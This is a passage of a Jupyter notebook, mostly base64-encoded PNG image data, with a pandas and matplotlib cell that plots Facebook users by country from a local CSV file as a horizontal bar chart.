ZDiWjjBtbhTbxVdXYzE7kt8Lzm7xOr6s4kV9D57VKAO7q6raazpDaMzfuAM6vqJUlmAUu6QxihfYDvVNV+f1WR7Ernt1T3Bd4APGOE+MYalyRJkiRpmLEmlN9KckaSBUkWAKcD3xzrQZLsCEyjk8RuCVzbJKJ7AA9bU9+qugm4NcmTmqJ9R2m6JXB1s72gq/yHwAFNHLOBnZvyc4CnJHlUUzcjyQ7Nc6NbVtU3gTcDc8Z4mpIkSZKkMVrjzGiTqG1XVf+W5KV0npcMneWsx6xl7M2SLBsaCjiwqlYnOQb4RpKlwDI6z3quzWuBw5OspDPj+ccR2vwXnWW6/wp8v6v8s8BRzfLcZXSefaWqrmsS6+OS3Kdp+07gVuCUJNObuN8yhvgkSZIkSetgbct0PwG8A6Cqvg58HaD5nc5PAC8crWNVTRul/Hpgt1G6ze5q1/0W20ualwmR5BA6LxuiqpbQLMetqrOBHbr6vKspv51RZlOr6vvAvBGqdh2h7YJh+zNHOQdJkiRJ0lqsLRmdVVXLhxdW1dLmucy2PD/J2+nEeyX3XoYrSZIkSZpi1paMTl9D3WZrqBtXVXUCcEJbx5MkSZIkTay1vcDo/CSvG16Y5LV0fnpFkiRJkqR1traZ0TcDJyU5gHuSz7l0fpPzJRMYV1+YMW0aNX9+r8OQJEmSpElnjcloVf0BeHLzEyxDLxc6vXnxjyRJkiRJ62VtM6MAVNWZwJkTHIskSZIkaUCs7ZlRSZIkSZLGncmoJEmSJKl1Y1qmq/Wz6s5V5D3pdRhaT3Vo9ToESZIkqW85MypJkiRJap3JqCRJkiSpdSajkiRJkqTWmYxKkiRJklpnMipJkiRJal3fJaNJVidZ1vU5ZJzHn5PkeeM5piRJkiQNmn78aZfbq2rOBI4/B5gLfHMCjyFJkiRJfa3vZkZHk+R5SS5LclaSTyY5LclGSX6ZZNumzUZJfpVkmyRHJ/lckh8l+UWSFyTZFHgvsE8z67pPb89KkiRJkqamfkxGNxu2THefJNOBzwPPraqnAtsCVNXdwJeBA5q+ewIXVdX1zf4s4OnA84HP0ble7wZOqKo5VXXC8IMnWZhkaZKlN909gWcpSZIkSVNYPyajtzeJ4pyuhHFH4DdVdXnT5riu9kcCr2q2XwMc1VX3laq6u6p+CfymGWeNqmpxVc2tqrlb9ePVlSRJkqRxMCjpUkarqKrfAn9I8gzgb4H/7a4e3nwCYpMkSZKkgTMoyehlwCOSzGr2hz/reQSd5bpfqarVXeV/1zxH+kjgEcDPgVuBLSY4XkmSJEnqa/2YjA5/ZvSDVXU78E/At5KcBfwB+GNXn1OBmdx7iS50ks8f0JktPaiq/gScCezkC4wkSZIkaf313U+7VNW0UarOrKodkwT4NLC0q24XOi8uumxYnx9X1VuGjX8jMG/cApYkSZKkAdSPM6OjeV2SZcAlwJZ03q5LkkOArwFv711okiRJkjRY+m5mdDRV9XHg4yOUfxD44AjlC1oIS5IkSZIG0iDNjEqSJEmSJomBmRnthRmbzKAOXdnrMCRJkiRp0nFmVJIkSZLUOpNRSZIkSVLrTEYlSZIkSa3zmdGJtGoVJL2OQm1LoKrXUUiSJEmTmjOjkiRJkqTWmYxKkiRJklpnMipJkiRJap3JqCRJkiSpdSajkiRJkqTWTcpkNMn9kyxrPr9PcnWzfXOSS9dxrIOSvKrZPjrJy8cpxiVJ5o7HWJIkSZI0aCblT7tU1Q3AHIAki4DbquojSWYBp63jWJ8b7/gkSZIkSRtmUs6MrsW0JIcnuSTJt5NsBpDkdUnOT3JRkq8lmdGUL0py8PBBkry7aX9xksVJ5wdBmxnPDyU5L8kvkjytKd8syfFJlic5AdisxXOWJEmSpL4yFZPRRwOfrqrHAjcDL2vKv15V86pqF+BnwGvXMs5hTfvZdBLLF3TVbVxVuwJvBg5tyv4RWFVVOwPvB5440qBJFiZZmmTpdet+bpIkSZI0EKZiMnp5VS1rti8AZjXbs5P8KMkK4ADgsWsZZ48k5zbtnzGs/ddHGH934MsAVbUcWD7SoFW1uKrmVtXcbcd8SpIkSZI0WCblM6NrcUfX9mruWS57NPDiqrooyQJg/mgDJJkOfAaYW1W/bZ5LnT7CMVZz72tUGxK4JEmSJKljKs6MjmYL4Jokm9CZGV2TocTz+iQzgbG8YfeHQ+MmmQ3svL6BSpIkSdKgm4ozo6N5F3AucCWwgk5yOqKqujnJ4U27K4DzxzD+Z4GjkiwHlgHnbWC8kiRJkjSwJn0yWlWLuravAGZ37X+ka/uzdBLGNfVf0LX9TuCdI7Sf37V9Pc0zo1V1O7Dvep2EJEmSJOle+mmZriRJkiRpijAZlSRJkiS1zmRUkiRJktS6Sf/M6JQ2YwasXNnrKNSmuXNh6dJeRyFJkiRNes6MSpIkSZJaZzIqSZIkSWqdyagkSZIkqXUmo5IkSZKk1vkCowm0ahUkvY5CbTofmDeF7nlVryOQJEnSoHJmVJIkSZLUOpNRSZIkSVLrTEYlSZIkSa0zGZUkSZIktW5SJ6NJliR5zrCyNyf5TZJD1tJ3fpInT2yEkiRJkqT1MamTUeA4YN9hZfsCB1bVB9fSdz5gMipJkiRJk9BkT0a/CrwgyX0AkswCHgg8KslhTdm2Sb6W5Pzm85Sm3UHAW5IsS/K0JEcn+WSSnzQzqy9v+s9M8r0kFyZZkWTvoWMluSzJEUkuTnJMkj2T/DjJL5Ps2oPrIUmSJEl9YVIno1V1A3AesFdTtC9wAtD964j/DXy8quYBLwOOqKorgM815XOq6kdN2+2BpwIvAIZmVv8EvKSqngDsAXw0+cuvgz6qGX9nYEdg/6b/wcA7xvdsJUmSJGlwbNzrAMZgaKnuKc3f19BJDofsCex0T/7IfZNsMcpYJ1fV3cClSbZrygJ8IMnuwN3Ag4ChusuragVAkkuA71VVJVkBzBrpAEkWAgsBHsCm63iqkiRJkjQYpkIyejLwsSRPADarqguTdCejGwG7VdXt3Z26ktNud3Q3af4eAGwLPLGq7kxyBTB9hPZ3d+3fzSjXrqoWA4sBdsrm9fs1npokSZIkDaZJvUwXoKpuA5YAR9KZJR3u28AbhnaSzGk2bwVGmyHttiVwbZOI7gE8bEPilSRJkiSt3aRPRhvHAbsAx49Q9yZgbpLlSS6l8+IigG8ALxl6gdEaxj6m6b+UzizpZeMYtyRJkiRpBFNhmS5VdRL3LKulqo4Gjm62rwf2GaHPL7j3s6U/GlY/s6v/bqMcenZX+wVd21d010mSJEmS1s1UmRmVJEmSJPURk1FJkiRJUutMRiVJkiRJrTMZlSRJkiS1bkq8wGiqmjEDamWvo1Cr5kIt7XUQkiRJ0uTnzKgkSZIkqXUmo5IkSZKk1pmMSpIkSZJa5zOjE+muVXBseh2F2nQj3vPxsH/1OgJJkiRNMGdGJUmSJEmtMxmVJEmSJLXOZFSSJEmS1DqTUUmSJElS60xGJUmSJEmtazUZTbI6ybIkFyc5McmMJLOSXDxK+/cm2bPZXpJkbrP9zST3W88YDkryqvU+CUmSJEnSBmv7p11ur6o5AEmOAQ4Cvj5a46p69yjlz1vfAKrqc+vbV5IkSZI0Pnq5TPdHwKOa7WlJDk9ySZJvJ9kMIMnRSV4+vGOSK5Js08yqXpbkC0mWJ/lqkhldbT6U5Lzm86imfFGSg5vtJV1tfpHkaU35tCQfTnJ+M+7rm/Ltk/ywa3b3aRN/mSRJkiSp//QkGU2yMfBcYEVT9Gjg01X1WOBm4GXrMNxjgMVVtTNwC/BPXXW3VNWuwGHAJ0bpv3HT5s3AoU3Za4E/VtU8YB7wuiQPB/YHzmhmd3cBlo1wbguTLE2y9LrV63AWkiRJkjRA2k5GN0uyDFgK/B/wP0355VW1rNm+AJi1DmP+tqp+3Gx/GXhqV91xXX93G6X/0DLh7uM+G3hVE+u5wP3pJMznA69Osgh4XFXdOnywqlpcVXOrau6209bhLCRJkiRpgPTsmdEhSQDu6CpaDWy2DmPWGvZH2+42dOzV3HM9Aryxqs4Y3jjJ7sDzgS8l+XBVfXEdYpUkSZIk0R8/7fLQJEOznvsBZ3XV7dP19+x1GPMM4B+TbAKQZIckmyd5GHBtVR1OZ1b3CRsWuiRJkiQNprZnRifCz4ADk3we+CXw2a66+yQ5l07Svd86jHkEnSW7F6YzdXsd8GJgPvBvSe4EbgP8iRhJkiRJWg+tJqNVNXOEsiuA2V37H+naXtC1Pb9rexZAkpnA3VV10CiH/HRVvWfY8RaNMub1NM+MVtXdwDuaT7cvNB9JkiRJ0gboh2W6kiRJkqQpZkov0x0+qzqsblarwUiSJEmSxsyZUUmSJElS66b0zOikt/EM2H9lr6NQmz42F/Zf2usoJEmSpEnPmVFJkiRJUutMRiVJkiRJrTMZlSRJkiS1zmRUkiRJktQ6X2A0gVatXk2WLOl1GGrR+bfeyjzv+ZRQ8+f3OgRJkqSB5syoJEmSJKl1JqOSJEmSpNaZjEqSJEmSWmcyKkmSJElq3ZRNRpNUki917W+c5Lokp63neAcledX4RShJkiRJGs1UfpvuSmB2ks2q6nbgWcDV6ztYVX1u3CKTJEmSJK3RlJ0Zbfwv8Pxmez/guKGKJJsnOTLJ+Ul+mmTvpvyTSd7dbD8nyQ+TbJRkUZKDm/JHJflukouSXJjkken4cJKLk6xIsk/L5ypJkiRJfWOqJ6PHA/smmQ7sDJzbVffvwPerah6wB/DhJJsDhwD7JNkD+CTw6qq6e9i4xwCfrqpdgCcD1wAvBeYAuwB7NuNtP2FnJkmSJEl9bEono1W1HJhFZ1b0m8Oqnw0ckmQZsASYDjy0qlYBrwO+AxxWVb/u7pRkC+BBVXVSc4w/NX2eChxXVaur6g/AD4B5w2NKsjDJ0iRLb1q9etzOVZIkSZL6yVR+ZnTIqcBHgPnA/bvKA7ysqn4+Qp/HATcADxyhLqMcZ7Tye6mqxcBigJ2mT6/fj6WTJEmSJA2YKT0z2jgSeG9VrRhWfgbwxiQBSPL45u/DgLcCjweem+RvuztV1S3AVUle3LS/T5IZwA/pLO+dlmRbYHfgvIk7LUmSJEnqX1M+Ga2qq6rqv0eoeh+wCbA8ycXA+5rE9H+Ag6vqd8BrgSOaZ067vRJ4U5LlwE+ABwAnAcuBi4DvA2+rcuJTkiRJktbHlF2mW1UzRyhbQuf5UJqfe3n9CF337Gp/AZ0luwCLusp/CTxjhL7/1nwkSZIkSRtgys+MSpIkSZKmHpNRSZIkSVLrTEYlSZIkSa0zGZUkSZIktW7KvsBoKpgxbRo1f36vw1CbttjCey5JkiSNgTOjkiRJkqTWmYxKkiRJklpnMipJkiRJap3PjE6gVXeuIu9Jr8NQi87/Hczzng8M7/fY1aHV6xAkSdIk48yoJEmSJKl1JqOSJEmSpNaZjEqSJEmSWmcyKkmSJElqncmoJEmSJKl1fZmMJlmdZFmSi5JcmOTJ4zTuEUl2aravSLLNeIwrSZIkSYOmX3/a5faqmgOQ5DnAfwJP726QZFpVrV6XQavqH8YtQkmSJEkaYH05MzrMfYGbAJLMT3JmkmOBFU3ZyUkuSHJJkoVN2YuamdVlSX6e5PKmfEmSub06EUmSJEnqF/06M7pZkmXAdGB74BlddbsCs6vq8mb/NVV1Y5LNgPOTfK2qTgVOBUjyFeAHYz1wk9AuBHjAtA0+D0mSJEnqS/06M3p7Vc2pqh2BvYAvJklTd15XIgrwpiQXAecADwEePVSR5G3NWJ8e64GranFVza2quVv169WVJEmSpA3UrzOjf1FVZzcvGtq2KVo5VJdkPrAnsFtVrUqyhM5sKkmeCfwdsHub8UqSJEnSIOj7ZDTJjsA04IYRqrcEbmoS0R2BJzV9HgZ8Btirqm5vLVhJkiRJGhD9mowOPTMKEODAqlp9z0rdv/gWcFCS5cDP6SzVBVgA3B84qenzu6p63kQHLUmSJEmDoi+T0aoa8dVBVbUEWNK1fwfw3BGaLgHeM0L/+V3bszYoSEmSJEkaYL5iR5IkSZLUOpNRSZIkSVLrTEYlSZIkSa3ry2dGJ4sZm8ygDl259obqH9+YSx26tNdRqC3eb0mSpPXmzKgkSZIkqXUmo5IkSZKk1pmMSpIkSZJaZzIqSZIkSWqdLzCaSKtWQdLrKNQ27/lg8X5PHlW9jkCSJK0DZ0YlSZIkSa0zGZUkSZIktc5kVJIkSZLUOpNRSZIkSVLrJkUymuS2dWw/P8lpExXPsGO9N8mebRxLkiRJkgaFb9Ndi6p6d69jkCRJkqR+MylmRoc0M55Lknw1yWVJjkk6v5uQZK+m7CzgpV19tk5ycpLlSc5JsnNTvijJkc14v0nypq4+f5/kvCTLknw+ybTmc3SSi5OsSPKWpu3RSV7ebL87yflNm8VDsUmSJEmS1s2kSkYbjwfeDOwEPAJ4SpLpwOHAC4GnAQ/oav8e4KdVtTPwDuCLXXU7As8BdgUOTbJJkv8P2Ad4SlXNAVYDBwBzgAdV1eyqehxw1AixHVZV86pqNrAZ8IJxOWNJkiRJGjCTMRk9r6quqqq7gWXALDpJ5eVV9cuqKuDLXe2fCnwJoKq+D9w/yZZN3elVdUdVXQ9cC2wHPBN4InB+kmXN/iOA3wCPSPKpJHsBt4wQ2x5Jzk2yAngG8NjhDZIsTLI0ydLrNugySJIkSVL/mozPjN7Rtb2ae2KsUdqPtFR2qO1IYwX4QlW9/a8GSnahM5P6z8ArgNd01U0HPgPMrarfJlkETP+rA1ctBhYDzE1Gi1mSJEmSBtpknBkdyWXAw5M8stnfr6vuh3SW2ZJkPnB9VY00qznke8DLk/xN02frJA9Lsg2wUVV9DXgX8IRh/YYSz+uTzARevgHnI0mSJEkDbTLOjP6VqvpTkoXA6UmuB84CZjfVi4CjkiwHVgEHrmWsS5O8E/h2ko2AO+nMhN7ejDOUoL99WL+bkxwOrACuAM4fj3OTJEmSpEGUziOYmghzk1ra6yAkaVC08e+zuXNhqf9kHxje78HjPR8s3u9WJLmgquaOVDdVlulKkiRJkvqIyagkSZIkqXUmo5IkSZKk1pmMSpIkSZJaNyXepjtlzZgBK1f2Ogq1yQfhB4v3W5Ikab05MypJkiRJap3JqCRJkiSpdSajkiRJkqTW+czoBFq1CpJeR6E2nQ/M854PDO/34PGeTx5VvY5AkrShnBmVJEmSJLXOZFSSJEmS1DqTUUmSJElS60xGJUmSJEmtMxmVJEmSJLXOZLRLkllJLh5WtijJwUmelOTcJMuS/CzJoh6FKUmSJElTnj/tMnZfAF5RVRclmQY8ptcBSZIkSdJUZTI6dn8DXANQVauBS3sbjiRJkiRNXS7THbuPAz9PclKS1yeZPlKjJAuTLE2y9CbuajlESZIkSZoaTEbvrUYrr6r3AnOBbwP7A98apeHiqppbVXO3cuJZkiRJkkZkMnpvNwBbDSvbGrgeoKp+XVWfBZ4J7JLk/i3HJ0mSJEl9wWS0S1XdBlyT5JkASbYG9gLOSvL8JGmaPhpYDdzck0AlSZIkaYpzHelfexXw6SQfbfbfU1W/TvJ+4ONJVgF3AQc0LzKSJEmSJK0jk9FhqupSYI8RyvftQTiSJEmS1JdcpitJkiRJap3JqCRJkiSpdSajkiRJkqTW+czoBJoxA2plr6NQq+ZCLe11EGqN93vweM8lSRo3zoxKkiRJklpnMipJkiRJap3JqCRJkiSpdSajkiRJkqTW+QKjiXTXKjg2vY5CbboR7/kg8X4PHu/5YPF+Dx7v+WDpl/u9f/U6gvXmzKgkSZIkqXUmo5IkSZKk1pmMSpIkSZJaZzIqSZIkSWpd3yejSW5bx/bzk5zWbL8oySETE5kkSZIkDS7fprsGVXUqcGqv45AkSZKkftP3M6NDmhnPJUm+muSyJMckSVO3V1N2FvDSrj4LkhzWbL8wyblJfprku0m269GpSJIkSdKUNzDJaOPxwJuBnYBHAE9JMh04HHgh8DTgAaP0PQt4UlU9HjgeeNuERytJkiRJfWrQlumeV1VXASRZBswCbgMur6pfNuVfBhaO0PfBwAlJtgc2BS4f6QBJFg71f+i0cY5ekiRJkvrEoM2M3tG1vZp7kvEaQ99PAYdV1eOA1wPTR2pUVYuram5Vzd3WZFSSJEmSRjRoyehILgMenuSRzf5+o7TbEri62T5wwqOSJEmSpD428MloVf2JzrLa05sXGF05StNFwIlJfgRc31J4kiRJktSX+v6Z0aqa2fxdAizpKn9D1/a3gB1H6Hs0cHSzfQpwykTGKkmSJEmDYuBnRiVJkiRJ7TMZlSRJkiS1zmRUkiRJktQ6k1FJkiRJUutSNZaf2NT6mLv55rV05cpeh6E2zZ0LS5f2Ogq1xfs9eLzng8X7PXi854PF+92KJBdU1dyR6pwZlSRJkiS1zmRUkiRJktQ6k1FJkiRJUutMRiVJkiRJrTMZlSRJkiS1zmRUkiRJktQ6k1FJkiRJUutMRiVJkiRJrTMZlSRJkiS1zmRUkiRJktQ6k1FJkiRJUutMRiVJkiRJrTMZlSRJkiS1zmRUkiRJktQ6k1FJkiRJUutMRiVJkiRJrTMZlSRJkiS1zmRUkiRJktQ6k1FJkiRJUutMRiVJkiRJrTMZlSRJkiS1LlXV6xj6VpJbgZ/3Og61ahvg+l4HodZ4vweP93yweL8Hj/d8sHi/2/Gwqtp2pIqN245kwPy8qub2Ogi1J8lS7/ng8H4PHu/5YPF+Dx7v+WDxfveey3QlSZIkSa0zGZUkSZIktc5kdGIt7nUAap33fLB4vweP93yweL8Hj/d8sHi/e8wXGEmSJEmSWufMqCRJkiSpdSajEyTJXkl+nuRXSQ7pdTwaf0muSLIiybIkS5uyrZN8J8kvm79b9TpOrb8kRya5NsnFXWWj3uMkb2++8z9P8pzeRK31Ncr9XpTk6uZ7vizJ87rqvN9TWJKHJDkzyc+SXJLkX5pyv+N9ag333O95n0oyPcl5SS5q7vl7mnK/55OEy3QnQJJpwC+AZwFXAecD+1XVpT0NTOMqyRXA3Kq6vqvsv4Abq+qDzf+E2Kqq/l+vYtSGSbI7cBvwxaqa3ZSNeI+T7AQcB+wKPBD4LrBDVa3uUfhaR6Pc70XAbVX1kWFtvd9TXJLtge2r6sIkWwAXAC8GFuB3vC+t4Z6/Ar/nfSlJgM2r6rYkmwBnAf8CvBS/55OCM6MTY1fgV1X1m6r6M3A8sHePY1I79ga+0Gx/gc6/5DRFVdUPgRuHFY92j/cGjq+qO6rqcuBXdP5ZoClilPs9Gu/3FFdV11TVhc32rcDPgAfhd7xvreGej8Z7PsVVx23N7ibNp/B7PmmYjE6MBwG/7dq/ijX/w05TUwHfTnJBkoVN2XZVdQ10/qUH/E3PotNEGe0e+73vX29IsrxZxju0lMv73UeSzAIeD5yL3/GBMOyeg9/zvpVkWpJlwLXAd6rK7/kkYjI6MTJCmeuh+89TquoJwHOBf26W+Glw+b3vT58FHgnMAa4BPtqUe7/7RJKZwNeAN1fVLWtqOkKZ93wKGuGe+z3vY1W1uqrmAA8Gdk0yew3NvectMxmdGFcBD+nafzDwux7FoglSVb9r/l4LnERnGccfmmdShp5NubZ3EWqCjHaP/d73oar6Q/MfMncDh3PPci3vdx9oniH7GnBMVX29KfY73sdGuud+zwdDVd0MLAH2wu/5pGEyOjHOBx6d5OFJNgX2BU7tcUwaR0k2b15+QJLNgWcDF9O5zwc2zQ4ETulNhJpAo93jU4F9k9wnycOBRwPn9SA+jaOh/1hpvITO9xy831Ne82KT/wF+VlUf66ryO96nRrvnfs/7V5Jtk9yv2d4M2BO4DL/nk8bGvQ6gH1XVXUneAJwBTAOOrKpLehyWxtd2wEmdf6+xMXBsVX0ryfnAV5K8Fvg/4O96GKM2UJLjgPnANkmuAg4FPsgI97iqLknyFeBS4C7gn3373tQyyv2en2QOnWVaVwCvB+93n3gK8EpgRfM8GcA78Dvez0a75/v5Pe9b2wNfaH7pYiPgK1V1WpKz8Xs+KfjTLpIkSZKk1rlMV5IkSZLUOpNRSZIkSVLrTEYlSZIkSa0zGZUkSZIktc5kVJIkSZLUOpNRSZIkSVLrTEYlSRoHSWYluXhY2aIkB0/Q8ZLk+0nu2+xXki911W+c5LokpzX7L0pyyPC4khyd5OXN9hFJdlrPeBYlWbCG+hckec/6jC1J6k8mo5IkTVJJNl5D9fOAi6rqlmZ/JTA7yWbN/rOAq4caV9WpVfXBNR2vqv6hqi7dkJjX4HTgRUlmTND4kqQpxmRUkqQJluRNSS5NsjzJ8U3Z5kmOTHJ+kp8m2bspX5DkxCTfAL6dZPskP0yyLMnFSZ7WDHsAcMqwQ/0v8Pxmez/guK4YFiQ5bC1xLkkyt9neL8mK5pgf6mpzW5L3J7koyTlJtmuqbgNuH+18q6qAJcAL1u3qSZL6lcmoJEkT7xDg8VW1M3BQU/bvwPerah6wB/DhJJs3dbsBB1bVM4D9gTOqag6wC7CsafMU4IJhxzke2DfJdGBn4Nz1CTbJA4EPAc8A5gDzkry4qd4cOKeqdgF+CLwOoKo+UlUnrOF8AZYCT0OSJExGJUkaL7WG8uXAMUn+HrirKX82cEiSZXRmDKcDD23qvlNVNzbb5wOvTrIIeFxV3dqUb9213TlQ1XJgFp1Z0W9uwLnMA5ZU1XVVdRdwDLB7U/dn4LRm+4LmeMONdL4A1wIP3IC4JEl9xGRUkqTxcQOw1bCyrYHr6Syd/TTwROCC5lnQAC+rqjnN56FV9bOm38qhAarqh3QSwauBLyV5VVN1V5KR/j1+KvARupboroesoe7OZsktwGpgpOdaRzpf6CTct29AXJKkPmIyKknSOKiq24BrkjwTIMnWwF7AWcBDqupM4G3A/YCZwBnAG5Okaf/4kcZN8jDg2qo6HPgf4AlN1c+BR4zQ5UjgvVW1YgNO51zg6Um2STKNzkzrD8bSsUmQRzpfgB2Ai0fpKkkaMGt6S58kSVo3rwI+neSjzf57gP8DzkyyJZ0Zx49X1c1J3gd8AljeJKRXMPLLfeYD/5bkTjovCRqaGT29qftVd+Oqugr47w05iaq6JsnbgTObmL9ZVcNfljSaacCXh59vU7cH8PYNiU2S1D9yz0obSZI0VSTZHvhiVT2r17GMRfPW3WOr6pm9jkWSNDm4TFeSpCmoqq4BDk9y317HMkYPBd7a6yAkSZOHM6OSJEmSpNY5MypJkiRJap3JqCRJkiSpdSajkiRJkqTWmYxKkiRJklpnMipJkiRJat3/DzXBg3V/aKGhAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB7.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats)\n", + "\n", + "#get x list\n", + "x = list(df.iloc[:, 0])\n", + "#get y list\n", + "y = list(df.iloc[:, 1])\n", + "#colors\n", + "c = ['orange', 'b', 'r', 'g', 'c']\n", + "\n", + "#plotting\n", + "plt.figure(figsize=(15,9))\n", + "plt.title(\"Facebook users by country\")\n", + "plt.ylabel(\"Country\")\n", + "plt.xlabel(\"Users(Million's)\")\n", + "plt.barh(x,y, color=c)\n", + "plt.grid(axis='x',color='r')\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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